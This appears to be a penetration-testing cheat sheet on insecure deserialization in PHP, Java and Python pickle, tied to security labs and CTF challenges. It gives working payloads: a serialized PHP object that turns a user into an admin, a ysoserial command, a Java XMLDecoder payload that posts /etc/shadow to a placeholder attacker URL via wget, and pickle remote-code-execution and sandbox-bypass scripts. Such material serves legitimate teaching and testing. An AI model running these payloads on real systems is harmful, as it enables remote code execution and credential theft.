Object Injection / Insecure Deserialization

Serialization is the process of converting complex data structures, such as objects and their fields, into a “flatter” format that can be sent and received as a sequential stream of bytes.

Deserialization is the process of restoring this byte stream to a fully functional replica of the original object, in the exact state as when it was serialized. The website’s logic can then interact with this deserialized object, just like it would with any other object.

It is even possible to replace a serialized object with an object of an entirely different class. Alarmingly, objects of any class that is available to the website will be deserialized and instantiated, regardless of which class was expected. For this reason, insecure deserialization is sometimes known as an “object injection” vulnerability.

Generally speaking, deserialization of user input should be avoided unless absolutely necessary. The high severity of exploits that it potentially enables, and the difficulty in protecting against them, outweigh the benefits in many cases.

💡 See labs on WebSecurityAcademy (PortSwigger) – Insecure deserialization.

💡 When working with different programming languages, serialization may be referred to as marshalling (Ruby) or pickling (Python). These terms are synonymous with “serialization” in this context.

Finding serialized data

💡 The Burp Scanner in Burp Suite (PRO VERSION) will automatically flag any HTTP messages that appear to contain serialized objects.

Inspect all data being passed into the website and try to identify anything that looks like serialized data. Serialized data can be identified relatively easily if you know the format that different languages use.

PHP serialization format example

If you have source code access, you should start by looking for unserialize() anywhere in the code and investigating further.

O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}

Java serialization format

Some languages, such as Java, use binary serialization formats. This is more difficult to read, but you can still identify serialized data if you know how to recognize a few tell-tale signs. For example, serialized Java objects always begin with the same bytes, which are encoded as “ac ed” in hexadecimal and “rO0” in Base64.

Any class that implements the interface “java.io.Serializable” can be serialized and deserialized. If you have source code access, take note of any code that uses the “readObject()” method, which is used to read and deserialize data from an “InputStream”.

Examples

PHP: Change a normal user to admin

See also PHP loose comparison to execute some exploits.

O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}
O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:1;}

When changing values for strings, do not forget to adjust the length. For example:

s:6:"carlos"
s:13:"administrator"

Deserialization XML to Java

ysoserial

ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

java -jar ysoserial.jar CommonsCollections1 whatever.exe | xxd

Creates a Java object

<?xml version="1.0" encoding="UTF-8"?>
<java>
    <object class="java.lang.Runtime" method="getRuntime">
        <void method="exec">
            <array class="java.lang.String" length="4">
                <void index="0">
                    <string>/usr/bin/wget</string>
                </void>
                <void index="1">
                    <string>--post-file</string>
                </void>
                <void index="2">
                    <string>/etc/shadow</string>
                </void>
                <void index="3">
                    <string>https://127.0.0.1/replace_by_attacker_url</string>
                </void>
            </array>
        </void>
        <void id="output" method="getInputStream"/>
    </object>
    <string id="outputStr">
        <object idref="output" />
    </string>
    <object class="org.restlet.Response" method="getCurrent">
        <void method="setEntity">
            <object idref="outputStr" />
            <object class="org.restlet.data.MediaType" field="TEXT_HTML"></object>
        </void>
    </object>
</java>

Python Pickle

Pickle is a built-in Python module for serializing and de-serializing a Python object structure.

❗ The pickle module is not secure.

Basic exploitation

Use the script’s output in the vulnerable app parameter.

#!/usr/bin/python
import pickle
import subprocess

class Exploit(object):
    def __reduce__(self):
        return (subprocess.check_output, ('id',))

serialized = pickle.dumps(Exploit())
print(serialized)

Bypass Restricted Unpickler

Python Sandbox Escape. When a sandbox is used to restrict the unpickling process, try to bypass restrictions.

💡 See the Were Pickle Phreaks challenge.

Install pickora

Install pickora (pipy), a small compiler that can convert Python scripts to pickle bytecode.

sudo pip3 install pickora

Generate pickle bytecode

Use pickora to generate the pickle bytecode.

See payloads below depending on the restrictions in the Unpickler (sandbox).

python -m pickora -f base64 pickle_payload.py

Scenarios

Recursively Get: the Unpickle.find_class will resolve the name parameter recursively.

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if is_safe(module, name):
            return super().find_class(module, name)

Directly Get:

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):.
        if is_safe(module, name):
            return getattr(module, name)

Payload : Recursively Get x Lax Whitelist

The name part will be deeply resolved. We can get magic methods by its recursively get feature.

pickle_payload.py: replace “<ALLOWED_MODULE>” by the module name from a safe module list, like the app name and bruteforce the “<INDEX>” (integer, e.g. 137).

setattr = GLOBAL("<ALLOWED_MODULE>", "__setattr__")
subclasses = GLOBAL(
 "<ALLOWED_MODULE>",
 "obj.__class__.__base__.__subclasses__"
)()
setattr("subclasses", subclasses)
gadget = GLOBAL(
 "<ALLOWED_MODULE>",
 "subclasses.__getitem__"
)(<INDEX>)
setattr("gadget", gadget)
eval = GLOBAL(
 "<ALLOWED_MODULE>",
 "gadget.__init__.__builtins__.__getitem__"
)('eval')

Payload : Directly Get x module Whitelist

Most modules have a __builtins__ attribute.

pickle_payload.py: use a whitelisted module, example with numpy

from numpy import size, __builtins__
size.shape = __builtins__
size(size, 'eval')('__import__("os").system("id")')

Payload : Strictly Restrict for module and name

Seems custom, see Pain Pickle talk slides for example.

Payload: Example from CTF

Using this technique of restricting globals.

ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__']

pickle_payload.py:

GLOBAL('app', 'random._os.system')('cat flag.txt')

Other option for pickle_payload.py:

x=GLOBAL('app','__dict__.__class__.get')(GLOBAL('app','__dict__.get')('__builtins__'),'getattr');x(x(GLOBAL('app','__dict__.get')('random'),'_os'),'system')('cat flag.txt')